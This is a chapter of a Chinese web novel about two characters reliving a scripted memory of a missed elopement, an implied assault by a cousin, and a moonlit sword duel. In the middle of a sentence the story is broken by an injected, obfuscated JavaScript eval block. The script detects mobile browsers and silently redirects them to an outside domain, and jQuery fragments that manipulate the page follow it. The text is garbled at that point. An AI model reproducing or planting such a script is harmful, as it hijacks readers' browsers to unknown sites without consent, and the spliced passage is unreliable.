他们把斜坡那头废弃的小屋当作秘密基地。
那是园丁的旧屋，石墙上布满爬藤，秋天将藤叶染得艳烈，一扇斜斜靠着墙根的破木门勉强称得上“入口”。
屋里只剩破掉的桌椅和一张塌下去一角的旧沙发，但窗子朝南，阳光会铺满屋子，满地都是跳跃的金粉。
“要是冬天来了这里能暖和一点就好了。”
白梨舟把从厨房偷来的苹果派扔在桌上，又跳上了那张斜斜的沙发，把整个人窝进去，像一只筋疲力尽的野猫。
“你根本不会等到冬天。”许执靠着门框，不看她，低声说，“你连秋天都不属于这里。”
“我不属于这里，你就属于啦？”白梨舟吃着苹果派，声音含糊，“我可是努力偷学你们家的家训和剑法，偷偷抄你写的拉丁语笔记，我已经很努力很努力让自己看起来配得上你了。”
许执这才转过脸看她。他的眼神像夜里古堡的镜子，看得见人，又透不出温度。
“你不用偷苹果派，我去拿，厨娘会给我。”
“我想要的，我自己会拿。”
“这个时候你又不是主虔诚的信徒了？”
少年许执凑到白梨舟面前，眼睛盯着她，就着她的手咬了一口苹果派。
沈玦坐在记忆里的白梨舟身体里，突然感到一丝抽离。
对，白梨舟是主的信徒，她野心满满，却也虔诚天真。
她听到自己的声音一字一顿：
“许执，你不练了，那我来练。你不想继承，那我来继承。你不想逃，那我带你逃。”
少年白梨舟说得认真，眼中是散漫的少年许执读不懂的决绝。
“……你带我逃？”
“当然。我可以穿男装，假装是你的剑士、护卫，甚至影子。”
她笑了，那笑意甚至连沈玦都无法伪装。
“如果你真的愿意离开这座城堡，我就为你举剑杀出路。”
屋外风动落叶，枝头咔哒响了一声，像是主因为信徒的偷盗行为不满地敲桌子。
许执终于开口：
“你疯了。”
“是啊。”她轻描淡写地笑，“我疯起来连我自己都不认得了。”
这一刻，副本里的许执，也就是“现在”的许执，微微错开了呼吸。
他站在记忆之中，穿着他从未见过的少年服饰，拥有他未曾感知过的少年心意。
而白梨舟——沈玦，则在演她从未拥有的人生。
他们不是旁观者。
他们正以血肉之身，呼吸着剧本里的人生。
他们的手掌贴着剑柄，唇边残着果子的甜，目光对望，带着四面八方而来的宿命重压。
这时，沈玦忽然偏了偏头：“你说我们会不会演得太好了一点？”
“什么？”
“我说，要是我们演得太真，出去之后是不是副本自动成功了？”
许执没答话。他只是盯着她，目光一寸寸落在她的脸上，像要从这张脸后看出原本的那一个“白梨舟”。
可他什么都看不出来。
于是他轻轻地说了一句：“你变成真的白梨舟了吗。”
沈玦却笑得像孩子：“你不晓得我是谁吗。”
小屋的地板染上玫瑰色。
少年许执操纵着身体说：
“今夜十点，我在玫瑰园等你。”
这是少年许执难得的郑重与期待，是他懒洋洋人生里，一次真正抬起头来的努力。
白梨舟知道这意味着什么。
她回了家，收拾东西，将藏在阁楼里的旧剑拆成几截藏进衣柜，将日记本撕成碎片扔进炉火，还特意挑了一条能方便骑马奔跑的长裤缝在裙子里。
她盘算着一切。
直到那声脚步闯入楼梯间。
她的表哥，带着那张礼貌克制的脸出现在门口。
“你要去哪？”宁澜说。
沈玦晓得他，他来者不善，成为尸体后还用干瘪的手蹭过“白梨舟”的手臂。
可白梨舟不知道的。
她没有说话，只是笑笑——她太年轻太着急，要和自己的爱人相会。
那样的急切是藏不住的。
宁澜径直伸手拦住了她。
他的眼神，像披着圣经封皮的蛇。
“我晓得，你要和那个冷冰冰的小子见面……”
她退了一步。
但下一瞬，门被砰地关上。
那一夜，墙上主的画像静静垂视，烛火晃动，在白梨舟挣扎的影子里拉出长长的断面。
她尖叫、反抗、推开、怒斥……
但那扇门像主安排的命运，被从外头锁死了。
她不是柔弱的受害者。
白梨舟咬伤了他的手，拿烛台砸破了睡着的宁澜的头。
血迹斑驳。
她还是披上了那件藏着剑的衣服，偷偷翻出窗子。
她跑向玫瑰园。
可那里没有人了。
她知道自己错过了。
少年许执已经离开了。
他没有等白梨舟到天亮。那不符合他的性子。
少年许执坐在最大的藤蔓下。他身上披着斗篷，旁边是被他踢开的几块石头，还有冷掉的烤面包和酒。
他只是静静坐着，直到风吹乱了头发，直到他心底那点鼓起勇气的火苗也熄灭为止。
他回了屋。
当白梨舟终于再次敲响他房间的窗时，他只是隔着窗子看她。
那不是失望，也不是愤怒，是某种倦意与自我防御。
“你为什么没来。”
她站在窗前，惨淡的月光使她看上去憔悴、破碎，那身蓝色剑士服也显得惨白。
她站在古堡回廊的尽头，像一柄折断却未丢弃的剑。
“我等了两个小时。”
“那你为什么没有再等一会儿？”
“因为我不像你，总是迟到。”他语气冰冷，却隐隐透出少年的倔强与失落，“你说过你不会迟到。你说过很多话，很多都不作数。”
他一向看似无所谓的样子，却在那一夜站了很久很久，直到脚边玫瑰爬满露水。
他本不该在意的。
他是那种从不为任何人多走一步的懒人。
晚上他站在风中，等了太久。
白梨舟站在月色下，眼神是如剑刃的锐利，也如剑刃颤抖。
她没有回答他的问题，只是反问：“你不再喜欢我了，是吗？”
“你说过的那些话，都不算了吗？”
少年许执没有立刻回答。
他在犹豫，在挣扎，在少年心性与割裂的命运之间左右摇摆。
副本中的许执——也就是现在站在剧本中的许执——忽然感到割裂。
站在窗边那个少年不是他，他知道。
真正的他——副本许执——不是执着于一场错过的笨蛋。
可少年许执太年轻了，年轻到以为真心只有一次，被辜负了就永远回不来。
“我那天，在园子里站了一夜。”
“你知道我从来没这么认真做
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15521601|170743||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
过什么。”
“你却不来。”
白梨舟低头，手指握紧又松开。
沈玦在这一刻感受到一种剧烈的撕裂。
她想张口辩解，却发觉剧情不允许她说出真相。那种无声的枷锁卡在喉咙里，像主在注视着信徒是否信服命运。
白梨舟低头，做了决定：
“……如果你因为我失约而不再喜欢我，而恨我……”
“那你就恨我吧，”她轻声说，“如果你因此痛苦，那就痛苦吧。”
“但你不能否定我。不能否定我们。”
“如果你真的介意这场错过，那我们来一场决斗。”
“就像真正的骑士。”
她的声音轻，但一字一句落入许执耳中。
少年许执跳出了窗口。
他换回日常练剑的衣服，系紧了袖口，像是在面对一场真正的比武。
但副本中的许执——也就是“现在”的许执，却仿佛已站在少年之躯之外。
他望着她，望着沈玦。
那女孩握剑的姿势像一只野猫强行竖起脊背。
他脑中闪过另一个念头：真正的白梨舟，是不是当时也这么站着？
但他不记得了。
此刻剧本将它再度摆上舞台，他却什么都记不起来。
那种陌生感是观众，是演员，却绝对不是那个真正痛过的人。
“你身上还有伤。”
“我又没说一定要赢你。”
白梨舟冲他笑，像在用这个笑来盖住一切不愿提起的屈辱。
“来吧，许执。”
他们的剑交上了。
不是正式的决斗，没有裁判，没有规则，只有两个少年的影子在月光下交错，一次次靠近，又一次次擦肩。
沈玦感到白梨舟的身体在颤抖，痛感从伤处涌上来，却被她强压下去。她每一剑都不完美，却用尽了全力。
她不是想赢。
她只是要一个机会。
一个让自己不再只是“失约者”的机会，一个能站到许执身边的机会。
而许执——他只出剑三次。
第一次是试探，第二次是拦截，第三次，他的剑尖对准了她的喉咙，然后停了下来。
烛火里，他看到白梨舟喉头轻轻起伏，眼里映着他的剑光。
“你赢了。”他低声说。
“你撒谎。”
“你打得比我好。”
“你不认真。”
“那你想要我认真？”
许执忽然靠近她，剑挑破她的防守，一步步将她逼入窗边草丛里。他的剑架在她脖颈上，那眼神，却是痛苦与压抑。
“我赢了，然后呢？像胜者骑士一样杀了你？”
“我会成为你的附庸，你可以处置我的性命，也可以带我走。”白梨舟眼里有泪光。
可许执偏开了头，他嗤笑一声：“对你来说，这失约倒不算事了，我赢了，你成为我的附庸，我带你走。你赢了，我成为你的附庸，你带我走？”
“你连原因都不肯告诉我，我凭什么带你走？”
白梨舟咬紧唇，不说话。
她可以说出来——说她那晚不是临阵脱逃，是被囚禁，是被侵犯，是父母在她门外诵经却无人救她。
但她没有。
她知道她若说出来，这一切就不再是“她的选择”，她就会变成“那个可怜的女孩”，而不是那个骑士。
她不允许。
于是她只是说：
“那你杀了我吧。”